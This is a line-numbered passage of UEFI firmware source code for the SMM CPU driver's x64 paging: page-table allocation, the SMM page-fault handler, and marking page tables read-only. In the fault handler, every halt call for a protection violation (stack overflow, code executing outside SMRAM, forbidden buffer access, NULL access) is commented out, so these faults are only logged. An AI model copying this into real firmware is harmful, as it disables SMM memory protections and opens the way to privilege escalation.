| PageAttribute = 0; 686 | 687 | EndBit = 0; 688 | Pml4 = (UINT64*)(AsmReadCr3 () & gPhyMask); 689 | PFAddress = AsmReadCr2 (); 690 | 691 | Status = GetPlatformPageTableAttribute (PFAddress, &PageSize, &NumOfPages, &PageAttribute); 692 | // 693 | // If platform not support page table attribute, set default SMM page attribute 694 | // 695 | if (Status != EFI_SUCCESS) { 696 | PageSize = SmmPageSize2M; 697 | NumOfPages = 1; 698 | PageAttribute = 0; 699 | } 700 | if (PageSize >= MaxSmmPageSizeType) { 701 | PageSize = SmmPageSize2M; 702 | } 703 | if (NumOfPages > 512) { 704 | NumOfPages = 512; 705 | } 706 | 707 | switch (PageSize) { 708 | case SmmPageSize4K: 709 | // 710 | // BIT12 to BIT20 is Page Table index 711 | // 712 | EndBit = 12; 713 | break; 714 | case SmmPageSize2M: 715 | // 716 | // BIT21 to BIT29 is Page Directory index 717 | // 718 | EndBit = 21; 719 | PageAttribute |= (UINTN)IA32_PG_PS; 720 | break; 721 | case SmmPageSize1G: 722 | if (!m1GPageTableSupport) { 723 | DEBUG ((DEBUG_ERROR, "1-GByte pages is not supported!")); 724 | ASSERT (FALSE); 725 | } 726 | // 727 | // BIT30 to BIT38 is Page Directory Pointer Table index 728 | // 729 | EndBit = 30; 730 | PageAttribute |= (UINTN)IA32_PG_PS; 731 | break; 732 | default: 733 | ASSERT (FALSE); 734 | } 735 | 736 | // 737 | // If execute-disable is enabled, set NX bit 738 | // 739 | if (mXdEnabled) { 740 | PageAttribute |= IA32_PG_NX; 741 | } 742 | 743 | for (Index = 0; Index < NumOfPages; Index++) { 744 | PageTable = Pml4; 745 | UpperEntry = NULL; 746 | for (StartBit = 39; StartBit > EndBit; StartBit -= 9) { 747 | PTIndex = BitFieldRead64 (PFAddress, StartBit, StartBit + 8); 748 | if ((PageTable[PTIndex] & IA32_PG_P) == 0) { 749 | // 750 | // If the entry is not present, allocate one page from page pool for it 751 | // 752 | PageTable[PTIndex] = AllocPage () | mAddressEncMask | PAGE_ATTRIBUTE_BITS; 753 | } else { 754 | // 755 | // Save the upper entry address 756 | // 757 | UpperEntry = PageTable + PTIndex; 758 | } 759 | // 760 | // BIT9 to BIT11 of entry is used to save access record, 761 | // initialize value is 7 762 | // 763 | PageTable[PTIndex] |= (UINT64)IA32_PG_A; 764 | SetAccNum (PageTable + PTIndex, 7); 765 | PageTable = (UINT64*)(UINTN)(PageTable[PTIndex] & ~mAddressEncMask & gPhyMask); 766 | } 767 | 768 | PTIndex = BitFieldRead64 (PFAddress, StartBit, StartBit + 8); 769 | if ((PageTable[PTIndex] & IA32_PG_P) != 0) { 770 | // 771 | // Check if the entry has already existed, this issue may occur when the different 772 | // size page entries created under the same entry 773 | // 774 | DEBUG ((DEBUG_ERROR, "PageTable = %lx, PTIndex = %x, PageTable[PTIndex] = %lx\n", PageTable, PTIndex, PageTable[PTIndex])); 775 | DEBUG ((DEBUG_ERROR, "New page table overlapped with old page table!\n")); 776 | ASSERT (FALSE); 777 | } 778 | // 779 | // Fill the new entry 780 | // 781 | PageTable[PTIndex] = ((PFAddress | mAddressEncMask) & gPhyMask & ~((1ull << EndBit) - 1)) | 782 | PageAttribute | IA32_PG_A | PAGE_ATTRIBUTE_BITS; 783 | if (UpperEntry != NULL) { 784 | SetSubEntriesNum (UpperEntry, GetSubEntriesNum (UpperEntry) + 1); 785 | } 786 | // 787 | // Get the next page address if we need to create more page tables 788 | // 789 | PFAddress += (1ull << EndBit); 790 | } 791 | } 792 | 793 | /** 794 | ThePage Fault handler wrapper for SMM use. 795 | 796 | @param InterruptType Defines the type of interrupt or exception that 797 | occurred on the processor.This parameter is processor architecture specific. 798 | @param SystemContext A pointer to the processor context when 799 | the interrupt occurred on the processor. 800 | **/ 801 | VOID 802 | EFIAPI 803 | SmiPFHandler ( 804 | IN EFI_EXCEPTION_TYPE InterruptType, 805 | IN EFI_SYSTEM_CONTEXT SystemContext 806 | ) 807 | { 808 | UINTN PFAddress; 809 | UINTN GuardPageAddress; 810 | UINTN CpuIndex; 811 | 812 | ASSERT (InterruptType == EXCEPT_IA32_PAGE_FAULT); 813 | 814 | AcquireSpinLock (mPFLock); 815 | 816 | PFAddress = AsmReadCr2 (); 817 | 818 | if (mCpuSmmStaticPageTable && (PFAddress >= LShiftU64 (1, (mPhysicalAddressBits - 1)))) { 819 | DumpCpuContext (InterruptType, SystemContext); 820 | DEBUG ((DEBUG_ERROR, "Do not support address 0x%lx by processor!\n", PFAddress)); 821 | //CpuDeadLoop (); 822 | } 823 | 824 | // 825 | // If a page fault occurs in SMRAM range, it might be in a SMM stack guard page, 826 | // or SMM page protection violation. 827 | // 828 | if ((PFAddress >= mCpuHotPlugData.SmrrBase) && 829 | (PFAddress < (mCpuHotPlugData.SmrrBase + mCpuHotPlugData.SmrrSize))) { 830 | //DumpCpuContext (InterruptType, SystemContext); 831 | CpuIndex = GetCpuIndex (); 832 | GuardPageAddress = (mSmmStackArrayBase + EFI_PAGE_SIZE + CpuIndex * mSmmStackSize); 833 | if ((FeaturePcdGet (PcdCpuSmmStackGuard)) && 834 | (PFAddress >= GuardPageAddress) && 835 | (PFAddress < (GuardPageAddress + EFI_PAGE_SIZE))) { 836 | DEBUG ((DEBUG_ERROR, "SMM stack overflow!\n")); 837 | } else { 838 | if ((SystemContext.SystemContextX64->ExceptionData & IA32_PF_EC_ID) != 0) { 839 | DEBUG ((DEBUG_ERROR, "SMM exception at execution (0x%lx)\n", PFAddress)); 840 | DEBUG_CODE ( 841 | DumpModuleInfoByIp (*(UINTN *)(UINTN)SystemContext.SystemContextX64->Rsp); 842 | ); 843 | } else { 844 | DEBUG ((DEBUG_ERROR, "SMM exception at access (0x%lx)\n", PFAddress)); 845 | DEBUG_CODE ( 846 | DumpModuleInfoByIp ((UINTN)SystemContext.SystemContextX64->Rip); 847 | ); 848 | } 849 | } 850 | //CpuDeadLoop (); 851 | } 852 | 853 | // 854 | // If a page fault occurs in non-SMRAM range. 855 | // 856 | if ((PFAddress < mCpuHotPlugData.SmrrBase) || 857 | (PFAddress >= mCpuHotPlugData.SmrrBase + mCpuHotPlugData.SmrrSize)) { 858 | if ((SystemContext.SystemContextX64->ExceptionData & IA32_PF_EC_ID) != 0) { 859 | //DumpCpuContext (InterruptType, SystemContext); 860 | DEBUG ((DEBUG_ERROR, "Code executed on IP(0x%lx) out of SMM range after SMM is locked!\n", PFAddress)); 861 | DEBUG_CODE ( 862 | DumpModuleInfoByIp (*(UINTN *)(UINTN)SystemContext.SystemContextX64->Rsp); 863 | ); 864 | //CpuDeadLoop (); 865 | } 866 | if (IsSmmCommBufferForbiddenAddress (PFAddress)) { 867 | //DumpCpuContext (InterruptType, SystemContext); 868 | DEBUG ((DEBUG_ERROR, "Access SMM communication forbidden address (0x%lx)!\n", PFAddress)); 869 | DEBUG_CODE ( 870 | DumpModuleInfoByIp ((UINTN)SystemContext.SystemContextX64->Rip); 871 | ); 872 | //CpuDeadLoop (); 873 | } 874 | } 875 | 876 | // 877 | // If NULL pointer was just accessed 878 | // 879 | if ((PcdGet8 (PcdNullPointerDetectionPropertyMask) & BIT1) != 0 && 880 | (PFAddress < EFI_PAGE_SIZE)) { 881 | DumpCpuContext (InterruptType, SystemContext); 882 | DEBUG ((DEBUG_ERROR, "!!! NULL pointer access !!!\n")); 883 | DEBUG_CODE ( 884 | DumpModuleInfoByIp ((UINTN)SystemContext.SystemContextX64->Rip); 885 | ); 886 | //CpuDeadLoop (); 887 | } 888 | 889 | if (FeaturePcdGet (PcdCpuSmmProfileEnable)) { 890 | SmmProfilePFHandler ( 891 | SystemContext.SystemContextX64->Rip, 892 | SystemContext.SystemContextX64->ExceptionData 893 | ); 894 | } else { 895 | SmiDefaultPFHandler (); 896 | } 897 | 898 | ReleaseSpinLock (mPFLock); 899 | } 900 | 901 | /** 902 | This function sets memory attribute for page table. 903 | **/ 904 | VOID 905 | SetPageTableAttributes ( 906 | VOID 907 | ) 908 | { 909 | UINTN Index2; 910 | UINTN Index3; 911 | UINTN Index4; 912 | UINT64 *L1PageTable; 913 | UINT64 *L2PageTable; 914 | UINT64 *L3PageTable; 915 | UINT64 *L4PageTable; 916 | BOOLEAN IsSplitted; 917 | BOOLEAN PageTableSplitted; 918 | 919 | // 920 | // Don't do this if 921 | // - no static page table; or 922 | // - SMM heap guard feature enabled; or 923 | // BIT2: SMM page guard enabled 924 | // BIT3: SMM pool guard enabled 925 | // - SMM profile feature enabled 926 | // 927 | if (!mCpuSmmStaticPageTable || 928 | ((PcdGet8 (PcdHeapGuardPropertyMask) & (BIT3 | BIT2)) != 0) || 929 | FeaturePcdGet (PcdCpuSmmProfileEnable)) { 930 | // 931 | // Static paging and heap guard could not be enabled at the same time. 932 | // 933 | ASSERT (!(mCpuSmmStaticPageTable && 934 | (PcdGet8 (PcdHeapGuardPropertyMask) & (BIT3 | BIT2)) != 0)); 935 | 936 | // 937 | // Static paging and SMM profile could not be enabled at the same time. 938 | // 939 | ASSERT (!(mCpuSmmStaticPageTable && FeaturePcdGet (PcdCpuSmmProfileEnable))); 940 | return ; 941 | } 942 | 943 | DEBUG ((DEBUG_INFO, "SetPageTableAttributes\n")); 944 | 945 | // 946 | // Disable write protection, because we need mark page table to be write protected. 947 | // We need *write* page table memory, to mark itself to be *read only*. 948 | // 949 | AsmWriteCr0 (AsmReadCr0() & ~CR0_WP); 950 | 951 | do { 952 | DEBUG ((DEBUG_INFO, "Start...\n")); 953 | PageTableSplitted = FALSE; 954 | 955 | L4PageTable = (UINT64 *)GetPageTableBase (); 956 | SmmSetMemoryAttributesEx ((EFI_PHYSICAL_ADDRESS)(UINTN)L4PageTable, SIZE_4KB, EFI_MEMORY_RO, &IsSplitted); 957 | PageTableSplitted = (PageTableSplitted || IsSplitted); 958 | 959 | for (Index4 = 0; Index4 < SIZE_4KB/sizeof(UINT64); Index4++) { 960 | L3PageTable = (UINT64 *)(UINTN)(L4PageTable[Index4] & ~mAddressEncMask & PAGING_4K_ADDRESS_MASK_64); 961 | if (L3PageTable == NULL) { 962 | continue; 963 | } 964 | 965 | SmmSetMemoryAttributesEx ((EFI_PHYSICAL_ADDRESS)(UINTN)L3PageTable, SIZE_4KB, EFI_MEMORY_RO, &IsSplitted); 966 | PageTableSplitted = (PageTableSplitted || IsSplitted); 967 | 968 | for (Index3 = 0; Index3 < SIZE_4KB/sizeof(UINT64); Index3++) { 969 | if ((L3PageTable[Index3] & IA32_PG_PS) != 0) { 970 | // 1G 971 | continue; 972 | } 973 | L2PageTable = (UINT64 *)(UINTN)(L3PageTable[Index3] & ~mAddressEncMask & PAGING_4K_ADDRESS_MASK_64); 974 | if (L2PageTable == NULL) { 975 | continue; 976 | } 977 | 978 | SmmSetMemoryAttributesEx ((EFI_PHYSICAL_ADDRESS)(UINTN)L2PageTable, SIZE_4KB, EFI_MEMORY_RO, &IsSplitted); 979 | PageTableSplitted = (PageTableSplitted || IsSplitted); 980 | 981 | for (Index2 = 0; Index2 < SIZE_4KB/sizeof(UINT64); Index2++) { 982 | if ((L2PageTable[Index2] & IA32_PG_PS) != 0) { 983 | // 2M 984 | continue; 985 | } 986 | L1PageTable = (UINT64 *)(UINTN)(L2PageTable[Index2] & ~mAddressEncMask & PAGING_4K_ADDRESS_MASK_64); 987 | if (L1PageTable == NULL) { 988 | continue; 989 | } 990 | SmmSetMemoryAttributesEx ((EFI_PHYSICAL_ADDRESS)(UINTN)L1PageTable, SIZE_4KB, EFI_MEMORY_RO, &IsSplitted); 991 | PageTableSplitted = (PageTableSplitted || IsSplitted); 992 | } 993 | } 994 | } 995 | } while (PageTableSplitted); 996 | 997 | // 998 | // Enable write protection, after page table updated. 999 | // 1000 | AsmWriteCr0 (AsmReadCr0() | CR0_WP); 1001 | 1002 | return ; 1003 | } 1004 | --------------------------------------------------------------------------------